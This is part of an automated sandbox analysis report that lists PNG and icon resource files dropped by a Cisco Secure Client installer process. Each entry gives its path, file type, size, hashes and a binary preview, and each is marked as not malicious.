Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....H.(Z.1.<....C{@{..\..-...X.....<.....,5.!)..2S.x(.^k.LS.P....4..................................................................................................................%Y.]"".......c.K. ..X.rH'./.5.#...]..........O.S...2..s:...}P.%B. ....Y.P....@.....0.......,.(.da@. ....Y.P....@.....0.......,.(.da@. ..JG.W....w.$...^.o\|.[..\.G..=.........k....#..SJ...nm..h..O7%c.2....)....hh.;.Z...e^...c.a.q.,....{.oe...Q..a5g..^.6e^...#B.k..a/%..{aL....0.......,.(.da@. ....Y.P....@.....0.....e..o.{..+".L...wg..~i..PN0......-..z.Z.Yg)..1........m..7...r.Gw..7.$..N.0..sW......d@...4..i...P.@D\|;5?t0.+........P....@.....0.......,.(.da@. ....Y.P....@.....0..../...7.....kW...i..T...6..F..A#+..s.......(.`....V.-Z.kCI..>.PN.....eE;.?ou.N...}.k7..\........R.X...w.....}_...#.\|..s^....&..z....Z.....8.d)`..9kY.. ....Y.P....@.....0.......,.(..9.n.np....y{W..\.....N0p.j .4.'..&................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-B3L3K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 375 x 23, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.305816801627044
Encrypted:	false
SSDEEP:	12:6v/7B0J+UJbp92cDPuY1qHlnv/pebLaeb9Lf43DQ6TjpuIXG13DQ6i5t2c:0erLYWuqylnv/pe3aO9KDUIXO3D+/
MD5:	894AB8F4298F2238292E31BAB5CCAB10
SHA1:	FCFC29B4E5BAC3C59EDA1F8837087E768F7B0A7B
SHA-256:	7C8B5EC8C7DE5405AAEE5B1E92C605020424AED8AF830C2429ED47883561A39D
SHA-512:	B7F06E961C2C2BAC0EFC5633E213D90E3206093593988BD04CE84DA13B1D1B4F0B83DEB77FF247E6681A645004FD37C2866FF83EB7A6A5E3E581B0868AB58C3E
Malicious:	false
Preview:	.PNG........IHDR...w..........C......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>.L.'Y....IDATx...... ..A.............. @.@J...C...._..+.......=.T... `.u....A...\|.H...0.:@.....q.>U$....w. @.@P....*........ @ (`.O......]... ..0....D.............SE"@..q........{.". @..........=.T... `.u....A...\|.H...0.:@............X~....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-B98BI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3563 x 1383, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	83426
Entropy (8bit):	7.358868361468608
Encrypted:	false
SSDEEP:	1536:dixvvTkILgVLxXyJl/WOwiu/PK7KT+vWJv1RASI/sH4PIfeN9Oo:avvTfg5Fyv/WOwiurQWJ9e0H4PoeTOo
MD5:	4AC53A86840972B2C8E661710290F3ED
SHA1:	D305EC46D2A933DA35D0634B1C23B2657A70CA88
SHA-256:	647EFCB4DF9273570A803D5818A37814601B06D41D77A51B61461B12958F028C
SHA-512:	86CCC7CA3A4EC721DB91B498E05C4DED79B3BF88E3AF5BCA4198380742B79C69AFF7BCDE7CE15FC09D1C976C37E56298EC3BECAD9254242ACCFAD9CBD6159BA4
Malicious:	false
Preview:	.PNG........IHDR.......g........@....pHYs...#...#.x.?v.. .IDATx...Mr....N+.....O....OeM..W..;Hy.^...Wt..M..$....r]_Gj.A.................................................p.....?.=....._......\..?....\|;......T.T..=S.....i.[.........@.T\|......SQ..p>.N...l.e..>/.2...\.f.."../.2.....i..@atu..\.............Tv..R.........W;....[.....^;..}.O..+....C.7.@:Y..#O....LE..>....x..B-....LE..?..z..Yk.s.g.\|.1/.>....}.5..<a...Y..Z..J).......}.....W\|.\|...!..f>&.j..f..z-...9..Q.R#c\|..m..ww.N....F.E\|.......?...?w.p.t....B+...}g...G.1....F...2.........v.M.........]...E..%.us........B...9G.K.._..5F@.<?....C.E8.-.\[.c.....=.i..PZ53p......<...o.;..O7..w..T....X...\..k....{.....Dv..Y.1..MI.......R......#....0..S.%T\|.3..5....\|..Q....46.....6ml<..^_.2....k.SJ.>O...A....U...g.\.F.#j.m.7u......-!.p.4..........!...[..Rh.?......F..5.C....S.W..B~7...0..\|.\|....J.Ze...P...H].u.6....p......P.:i.F.g..$GE......ch.3q......J`.wo.,..^......efy.a....s.i.P.l*...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-BHFIG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2002
Entropy (8bit):	7.874049849617631
Encrypted:	false
SSDEEP:	48:aYtizXuhGfrlz7ES0+AXMzboB3CiWBgvnUeHAG:nkVFNA8Pq39/UegG
MD5:	513D5EA87AFF39BFAC791F6A1AEA44B6
SHA1:	1858020A95D380478119D11C567D686B3097CEC7
SHA-256:	E04B608228DB3AB98917F8B62BB3F64FFBC6E272FFD2B84B2CEB752838FE4485
SHA-512:	2F26AECB0AE3B423B79B4EFDF7CFF8535236E62102F0F4DB9C98A88243B3B1A6EE5CB30F6D049FC3F5E19ABBF22C5DF19805ACB2F7FD3BEB77D7D33AA351E5D5
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..{lSU...vK.nl%.6..... ...0.q#D.?d....C1!j..G.Q0.,A:b.q..5d...L%...H..I@.9..B.G..E.=.SN.n....n.&..]...........A1..Z\BD6"..G.?..AD.~....l?...G...Z.KD.DTAD%.{.V,a....(#=..{..a:........)/.H-Dt..l.f....l-.p(5.;.ge2 E.K.....ro?....9v.9.....r.m...8.-.....JW.....K............\..]OP..R...lz...J...\|P..uP.-...J3 ...Ui.......OxcK..@...L.Bl..8....{M.b...m.b.1....^.(...UG.M..2[..x..k.[K;.=G.SR5.....Fh{...\|..qo..8....PR._0[..&...SR....^..(M.d6.B .Lek...<j;}.r.s..k........q8M........z..5..MkV/..?]J......kw8.B.b..:...qW...U.g^..O.}.\|/$@.s..0].r..twR..o.7.....4.J.Gs-6.....C.@..Ho8.s..0u...{..r3.Ri.S.U.B....Vm...Y...9.K}.`..7U..y..I.....j................+..d.p].'.>.O..U.....<....F..X.....9.M..5w....e>@wO[.<C).r.\|.Z.....e.....t..>............E].N:xa...,)Y....T4.a.~.U..0.^U8.A..............\|Y.....@O...)?)..9.v^...W.#.2-M.:M.@..O.......l....T..L.....,..P.''...E...ZUX@-..P.V&eX.......M...<.c+.A....K...V.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-BSR3E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11585
Entropy (8bit):	7.961332304899258
Encrypted:	false
SSDEEP:	192:uoknxnFWLkyZS1HwgrTfSTVQV1r+2HPOSm9HRNxe6S1ipOvyYh95kRwjtbul4Ljh:uo4xAoKoHuVuHPOSmdfxy1ipwN5bjtbB
MD5:	FAA694AA17D61EAC6803E15397AE2C15
SHA1:	D3FBA06AA2794D460DEF2997E84EC7CBE49A83AB
SHA-256:	9AC4F60BF1A10CD08529427AAA1C419F5C4C1412D23EE5764B9EDACC3558A980
SHA-512:	5B2586AC90E5366C236AE02181172842CFDC311495157477ACB388A50CA56B5FB1EE532B753323566937012A54027DC53DE803DB4178F6F85618ADA4B015308C
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....UU..7bJ_..I&.:p..#.D.2...vOU...y......I.E0...LK ...T...E_.o.H^.......QG..Hy%v.=...;....wj..Ru.>g....}._R..U..s....^{.!.....F.!&..7~.ip....G.......n..$..-.PS..%..~.)..._i.%..A.....[.<.W.P..D.S.0]+...)U..A.>..F.V (Z.RS.s.i.tMy.'S\1;(.C..}...(Z.PS.s..+Pi.tY..B....;...H..h... R..w.]T\t.p."..N,.P.rDM..Q:..8...\|K..........._.G..d.Dk.D...'+.E.P.2.L.7..\..1\|..8~...&.0...L.a..1......s..'N.......;.O..L\|}.4E.uam.1..Q(Z.c.P5&qt...........n...p~.'O.&z........q~..A..b..,.P.2...\...QA...6.qM.'.(.)[.........z.X.B....C.l@."2..P.9....$&...n.@..Bv....#b..W..n..9&..E.....!._Q}...R..b....G.g........w\..8.W....Wz.;.~~....2W.$.....=..).U..TT Z..>.;....q.".hf.+.(Z.#C..B.%a...a.4Q?g.T..l.;GD{...0..u.......r...!`.P.Y.t..A..H......h.LT...B........v)`.BH.W.P.b".X!/.p.b..;... .....hm..6.O...VD...\.......PB..............M..!...tU9.u_/..'L.....]'.A.2$.j .j..{....7..i.kaBG.6...e@M..IY..x..+V.....@..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-C5CJV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.339402871750466
Encrypted:	false
SSDEEP:	12:6v/7IEzFffWxjBiqsoNKXcQjmUVQtaaHI:hI0RBiqJycQjmU6t9HI
MD5:	AE59E69F9BB8D40D28E2C195A5F131BD
SHA1:	1AC9ED0DD66CEFA5F515A8C0D51A3E26B7F2F6A9
SHA-256:	271F2C4002F0127CD049A9BEEED8474FACED3217E7BB0C6DDEB8B34F8536FA8E
SHA-512:	D69C0C2F7C190D1795A5C6455949C0B7F63D678785C170D8DB4A7D3FF88A048D954C8236E750D2F38CAD6CED9072DA7E8E3B5B384465074637D43390D9857C26
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...Q.@...:..;......C.2)@,..:.........(.9.........0....v.~.?.....j.....g.>n...z...u..NLU...;..2.s`.\|.$...4],....Y............H.......G~.`$.p..^!]dS.UT.jE.%.......T...Y..O.....S...(.O.\.}..E{..2.p...s.._..,.D.wP.....DK.v...el..\|..w.~.....{`))v.. .6^..y..rm:R}.L...+..<."..r...y#D9rD.Sd.Y..D_.o~......\.....$&;.1.6.<%...v.-.v3.^-M$ejU.4?%.K4..Y.R..Sm..'.AW..E....>".....^=.Y.......j.d.h.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-DLODF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.044905068349432
Encrypted:	false
SSDEEP:	48:m/CRZkMiOjTrP2GqirkNv05M36iJpx8wpeXlUA9S5Sxgo2vo:mqcaTrP1zr804FjiUA9s4g7o
MD5:	1AE447E7E6E48D922E20DACEBEABF6B7
SHA1:	405E8A92B647B62F189B88AF58F1473C53F09991
SHA-256:	40107A62ABD4DE28E722EC92905913E24873CD9E10C21CEE50698949AB76C358
SHA-512:	F703E7D8AE70589C75F722BE8D64C9D136A524ADDD3AE39D0ED94C32C632EBB2E0EECB61C08342564AE42445B4146E10CED0ED4EE783DDF3785CC6D7AA124440
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P........................ne....y...s...s...s...s...s...s...y.&..`...................................................P......................................y.(...0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.......................................@................z]J.X5..M'..M'..M'..>"E...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.........................................xh.M'..M'..M'..M'..M'..nP:.I/T...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`...............................X5..M'..M'..nP:...................y.(...0 ..0 ..0 ..=...0 ..0 ..0 ..0 ..=...0 ..0 ..0 ..(.....y.............................M'..M'..nP:...........................s.0 ..0 ..0 ..=.......WJ..0 ..0 ..WJ......J<..0 ..0 ..0 ....s.........................M'..M'...xh...............................s.0 ..0 ..0 ..0 ..WJ......WJ..WJ......WJ..0 ..0 ..0 ..0 ....s............0.......M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-DPKE0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10710
Entropy (8bit):	7.9641316394298025
Encrypted:	false
SSDEEP:	192:Aowo3FbryCXdxyG2En+b5eUJf1Q6pPZ3LxElBt/wVUuv04YKmECa:AowqbrvX3h1+b5eMdQDY3v0da
MD5:	5412237E7D26A5CB2F3F8891B9E36462
SHA1:	778ABA750AFD4D5518A5B7EDE1F73E7A016883C8
SHA-256:	288C513CA8875B4BC5DB6144D0C4215680F5BF3385DF05D6A8EC2896587DB6D3
SHA-512:	BAC0482951830571BDAF8A1FF0C23B3EB1C6AFB72C46628150EAEE2CD99167FEBE9A74DCAA2F2DAEDA5B58856BA7A9378880A7EB0B5D834D31EA91D3010B41F8
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx..]{..U._<..Th.CK=..R..V.GOWH.G3"8.5L.....;b............3.:S....s=....G].vX.w....W....Z?.^{..k..{.........w}...%y`...]...B6..........K.S..j.G."..?>.c..~../(/&}................p..B~..7...t.\... .j......,.......;.]M......`.o.p..?...98.c.%.6.....g...&.............;..F..!.fL%/.j@:.`.o....5_.b2...5\|h...UoI/....W..W...}.....<.<\0.p.N.,Y......M...KI.O"C.x.}$.....=.V...E.........HT....Ep.m.~.[(....Y.f.'g*_...NG..S....m.2.<..[.(G.m..[.1....S........\|...[.o.#eW....F.-.a.+...^.Rp...L.ue.<+./.......?..Lke.b.r.....V..G...$..6.]:.s...+..F...#O....=Y.;..g..l..,c....DWw.hB....B..l...`..;".wV.#..{.q.........v.].Z..C...T.`.-}M#...........{.(t.E.Om. ..=My..V...4.\.Ep.........W.)..x.W..f..7{.IG..-.....Z..{.l..F.,..f^r...V.9..H../.....$.&>..U...Msx.68.....S{...Z....v..v....O,.ps2E.......>..M_.........6H.hl.;Q.d....h.H...V..W...iH..{..2Q.zmp..;.Z~].c.!.Y.}.6.P......^kC..t...V.0.^.l.NMp..o..Y.8...Q

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-E3QTE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13727
Entropy (8bit):	7.982847912604664
Encrypted:	false
SSDEEP:	384:63aRGz9MobH6FYdTA1tjCtZPXq5Sc5Li2H2E:v29jH6FJ1YnyLii2E
MD5:	2DDF6BB80F9B33B219E448F37ED394C0
SHA1:	BD1D1397D9011D9CF81D1061095CEA39C81AEE56
SHA-256:	8CB70AAF7D9D0C98AF0E6C640A78A2D4CABA2DC3DA8876208AD9A617A6E7A226
SHA-512:	00E86EDC454CF26E50D8AEEDF2CBC031E79F609E280E27FA87381CE6C7F9F6A8611FFC6EB1075BE271F0E864EDAAE89FDB25502BCB34C66412B6504C370154CF
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..].t...7h....k..B..S......5Q.O.l..-D.....K....j.X.T.....T.....66..D,X.B..J..@...}...3.s...{.\|k...?3sf.>..oJ..^..-(.BDk..o.<........... =......"......\..{.....q..-(N.T...UZ.y.'p"..=Y.Ip.....K.^.:Q........E.wp..+.$..3..]...0.J.....)_......x...\M...1..$:.{B....0..e..]0..Z.Y.]...D'...k...p~....3D_.O,;..O..../5....#h..?./?8..[....7..#.....f.4?e..}..j\|e.......'.....d.N...b./...D...p...h]._S>9D.~..M.M.....M.\|.@.-.Rr.$..k6.....2..7..v.L.?.Vb=...tl(...1x.._.....fJ$.C.......go...6.c....m.^.N.L&.....}/.j.})_......[.\...k5.....{EK...."......m...G.:.D...\w.q;.p.*%`.}..g.x.D/.c............HE%".d..?..'...DB.......U...<....k....y..N...8...f=..5. ....qO.[P.GD;.h......y...b..... .TT..}..:....M.l....w.wG.h.3....S........O..M...;.wF.p..xCt..T.I.2y)v.Ip6....`....H..V...mi...?a.F.Z2.(%....S...y.W..A.$.}N..(.....m.I..7e.....dr..=..n.7.-....I........L..5y........->1.".R.x.......n.^...Go.9~.!.-....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-E58NM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	478
Entropy (8bit):	7.3703130572324955
Encrypted:	false
SSDEEP:	12:6v/7xE0NSVUvFAccOOfACD09VvVupRqR5/MXMmxHlWX:YY+vFr+cvV8w3MXMm+
MD5:	D3BD002D9E657FC264347FE2FE45EE8D
SHA1:	8EC6528F2E8A07036C5D5F439FA0438C99CE814E
SHA-256:	B17D8F8BC1B971962A798743630816DFEF50526A2692BB458A7B1B6A546D28B0
SHA-512:	3BF535A63BCE729ABD443CA4265147DB46DFF698BC2AA27C7FFE430527F7C4FD921AFFBD6E789BC00EAC4DFFE300E82488A8C4886DC9D629DCA6B5CF905C0624
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH..U.m.@.}E. #d.n.. ..a....2@.6.p. a..AG...}..A.U..% ..g.g........u..%.w....'(.............%..{...S..p.gc.\|...Y......\|`I.\aZ..5..d@..>'.z.7.)....b...P.'...y..4.l...+........I!{......w.eFV...d...H....xZT.c.F.=...f/.Q...".......BF7.a......)....\|`..m.o..=.f.........%.d.._.........z!..&,6.;KwN@Z.<~1..%...b....L....<...k8.c.'.....+.&.dE...o..7.....ke..M..Ot..N..^..n.~............IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-EEL2E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8950
Entropy (8bit):	7.969730039207073
Encrypted:	false
SSDEEP:	192:p96ObyGv4LCovtazAkU/bm8oT+4UObs9KhHU1gL3c2/Rqw:tbtuCovtazCDdxObJ5UM3hh
MD5:	4F8EBA018E164B7A5FFDA205576989E8
SHA1:	56669FFFC614C2577370B0EF84EA6EA4FFE89858
SHA-256:	815EACDBC62FED323EB3D0BBAD4596C0D699862A66258A4F994B78CE520389A1
SHA-512:	F9CBDEE29FD372DEA72C6039E705A192B2C751927490B811317CE74A56DBEF1B4C17D05D1CC29A32F060C6A761D93CDB5D2AF6C76853427F5341D7C6DA4F44E7
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx....]E......m..Z.o....AZ.n(>V.")1.-F.....m...l...b\.@....E..\|......'%.RA)...+.e.}.%..T6....3sf.s.s....{.;.7..7..)..i..i...~...?L.v....o.h..\|..@<..vR.....ILO ...N..<'a.N......N..bs..!..<,c...}b..U]...../.L...=Enx......V.3.}r.)o.u..\|...+g.Hu......k..[.$&z...G#o....o.W.`w.T.5..~=..........V..;..$`.......=zf..Di_....D...r......W].}":..w\|...=.._.s.2`r.8!.l.\|o.......;hzy..n.s.0..+?3l>....Q5=..:6....L.<.l..x.......{.O.mx..R..i..$...\....#..^7Q.>C..........$..`.=...*...~....oc.e?._q......c}.......G.'.=....<..!X5.....=.8........N@..1c.Q.....5.A.]...)....t7B.......=.V...vn...cGNbr...s.1w...g[....e.6U..{..\...N"......0:....WirR.IL.d...JQ..9.....^/.......Gb/>...z...M-..2......(1. ..$.g..Y..'N... .-)...2...S.M.%......$;.X..R..C..m.m'.\|wK...4[..`.....!..o.....,..u..4...._}.....l.O...3.mn..Y..m..M..Q.9..Y...N...!K.?.D..........!....x{d..=...T4.i.M.;.NGf...^.s.....T_&.%...7..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-EFQ71.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.90204028759812
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTuU1G4X0vy:TSDS0tKg9E05TuGG4k6
MD5:	4D8816B117672123F84ECD051877A37D
SHA1:	C9983DE5E4DD52660A109C418DBDA7B7F202E2E8
SHA-256:	3D2A9058537240F9131F6A8D083A6723A0D45E31BF2BBA4EA761DE23948C8209
SHA-512:	63395803D1BED8B33E1854D6EC5EEF2322FFE69B5150CF414692D7AE8003ABA601FB283C8CB661ED4AD633B4ACF945AADC579A84910441963F8EE801D0CEB447
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-EH7QA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9736
Entropy (8bit):	7.95835565935799
Encrypted:	false
SSDEEP:	192:uGw9FbNic2CTLMZgb0OeuEqR0+zipNb19+MUs2b4uLbFv7MLlELHz5FijB:uZ95jOAdE+0+mpNB9dObfR4LiLHz5QjB
MD5:	64C1592AB32B98889AFDB7F216B3A535
SHA1:	9DA1BF63D0E9CCF65BA0C72E615099AD30DDB2EB
SHA-256:	B649B2B24F635758C6B424EBADA07097ABB56CE73E46F056268004D79575AA8F
SHA-512:	CA8376AEB64FE49CE253BEE7F949AEBFDB6C1EAD6270C739B09751CEEA313407F7AABBA7388E4ABFA53A48A322D827EF6D4FF1D458C3FB815239407646D53C84
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx......}....j'.b.A...H.8B.p....IXM.Q....db..D...!.#aI..J.h..M"k?...k..t.......+!j...T7.N.y9.r........o..e......{.....?...B..\i...... ........T...u ~.h...J.4..%"..k.^...O.....".....v...+7...........M....J.z....E..(...0M+.S.R"._.2.Y..h...J.+J.+..@..-5....T.......E+.4WZG)q.H...k.]..\|C...,.P.O9.72{.......]y.....}J.:Dd;C.\|@..8J.....rEh.......c..\|?......A.D}....J.[...<E.C)y.....J.A.. i...&8.3y...t.x.9bx .6......W..&......zV^9......e..VFPA..$..b...4q.L...&..R.....7.....aK..A...........6%V....=A.f.2$Ve.ue={.8....#.....7..V.P..FE9..#> ..OuDj...ME..........+](Z).\i]...H#....>E....Npb..>+;....X.....z6...E+aT..L.U.."5..YtS...l[....'..u..qsV.k..h%DM..(l...u.5.e.YN.H.'&.C......Qbu.....EA.....l......!.Um......Q....n.b..l{t.<.+l..B{.W.P.".E..V,..._.@....... X.Y6F......}i..j.rUY.@'v \k7<.&.b....V..+....-Vn..g..X.d\.ak..K...U.@...ZToS...........,8np.....l..G.P.\|.r.MA.B)V..."....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-ESLN2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1 x 38, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	4.905752993252195
Encrypted:	false
SSDEEP:	48:iY/6A64knA9WIiDYfv4c0POd9Od4LOR3POgHWv:iYSGknmWIiDYfQpOd9OdqOVOgHWv
MD5:	A3A99D7E09DE348A18379BA84F5FBD33
SHA1:	7E7BE73D74601EA7CCFE7389152D189DA10A275F
SHA-256:	A8F0C8E087C47D78EBC0D0D9FBE4BF124F9049BE49A4D7E919D80CEF3E294FD7
SHA-512:	414293559F4245B4065246C582D815582E4DFF1E0882CDC3B0439E66204916B9C372D5430C77C49444CB69F61C715337C67275773D76E36C377AB287FEAC2E8E
Malicious:	false
Preview:	.PNG........IHDR.......&.....2b.5....PLTE...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................h....pHYs................ iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 20

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-F33T9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3882
Entropy (8bit):	6.743390042757195
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcXLBz:iXHt+JcNgOSiS4XsAYNpf2ESNV7Bz
MD5:	3FFF593238B9889FAFEB8D0128212244
SHA1:	D7D9421F3DAB1DF9ED621322554EA78444513815
SHA-256:	FDA8EE98D597820B24B2AAE23909585D4E5BFD0FDC573F901FA6139A30D9A2F0
SHA-512:	4BC00D211799B3C09BA0BFBEB676E2F03A9E510D89CFBF4CFEEAAB47232A782E756F67B6194D551B7659741E1114D0BD648B88EDD02BE43C32D4E2BB2ACC1339
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-FRTUJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.344520469543007
Encrypted:	false
SSDEEP:	6:6v/lhPqJsXTSgECFg9ZA3teRaCCgqMtK+ywsl3DF1bp:6v/7hXeBOgIYawtvyx3/1
MD5:	DA395D5499E3403BC29899F8ED09E0F4
SHA1:	A6806BF5F7B2B0E1DDB705E2DBDF761E704738CD
SHA-256:	E72F87D5171DCD847C6A5994471B97339C4595E0C55591B1641227B56DB02041
SHA-512:	FEF71C2D806F506CD67B3338484C0B100989135012E72B321287C662AD65BD9120B210270D0B023F76FCAFD23237E9EDEDD5987E6B4D3731B9776B2EB338FE18
Malicious:	false
